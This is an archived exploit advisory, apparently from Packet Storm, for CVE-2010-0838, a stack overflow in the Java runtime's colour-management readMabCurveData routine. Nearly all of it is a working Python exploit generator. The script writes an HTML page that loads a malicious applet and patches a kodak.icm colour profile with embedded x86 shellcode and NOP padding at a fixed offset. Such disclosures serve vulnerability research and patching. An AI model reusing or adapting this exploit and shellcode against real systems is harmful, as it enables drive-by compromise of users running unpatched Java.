Month Of Abysssec Undisclosed Bugs - Java CMM

2010-09-21T00:00:00
ID PACKETSTORM:94033
Type packetstorm
Reporter Abysssec
Modified 2010-09-21T00:00:00

Description

                                        
                                            `'''  
__ __ ____ _ _ ____   
| \/ |/ __ \ /\ | | | | _ \  
| \ / | | | | / \ | | | | |_) |  
| |\/| | | | |/ /\ \| | | | _ <  
| | | | |__| / ____ \ |__| | |_) |  
|_| |_|\____/_/ \_\____/|____/  
  
'''  
  
'''  
Title : Java CMM readMabCurveData stack overflow  
Version : Java runtime < 6.19  
Analysis : http://www.abysssec.com  
Vendor : http://www.java.com  
Impact : Critical  
Contact : shahin [at] abysssec.com , info [at] abysssec.com  
Twitter : @abysssec  
CVE : CVE-2010-0838  
MOAUB Number : MOAUB_20_BA  
  
http://www.exploit-db.com/moaub-20-java-cmm-readmabcurvedata-stack-overflow/  
http://www.exploit-db.com/sploits/moaub-20-exploit.zip  
'''  
  
import sys  
  
def main():  
  
try:  
strHTML = '''  
<HTML>  
<HEAD>  
</HEAD>  
<BODY>  
<H1>You have exploited!!!</H1>  
<P><APPLET code="Curve.class" WIDTH="600" HEIGHT="400">  
</APPLET></P>  
</BODY>  
</HTML> '''  
fHTML = open('index.html', 'w')  
fHTML.write(strHTML)  
fHTML.close()  
fdR = open('kodak.icm', 'rb+')  
strTotal = fdR.read()  
str1 = strTotal[:9154]  
str2 = strTotal[9648:]  
shellcode = '\xEB\x6B\x5A\x31\xC9\x6A\x10\x52\x42\x52\x51\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xFF\xD7\x50\x68\xA8\xA2\x4D\xBC\xFF\xD6\xE8\xDA\xFF\xFF\xFF\x00\x54\x68\x65\x20\x65\x78\x70\x6C\x6F\x69\x74\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\xE8\xB3\xFF\xFF\xFF\x55\x53\x45\x52\x33\x32\x00\xE8\xD3\xFF\xFF\xFF\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00'  
  
if len(shellcode) > 494:  
print "[*] Error : Shellcode length is long"  
return  
if len(shellcode) <= 494:  
dif = 494 - len(shellcode)  
while dif > 0 :  
shellcode += '\x90'  
dif = dif - 1  
fdW= open('kodak.icm', 'wb+')  
fdW.write(str1)  
fdW.write(shellcode)  
fdW.write(str2)  
fdW.close()  
fdR.close()  
print '[-] Html file generated'  
except IOError:  
print '[*] Error : An IO error has occurred'  
print '[-] Exiting ...'  
sys.exit(-1)  
  
if __name__ == '__main__':  
main()  
  
`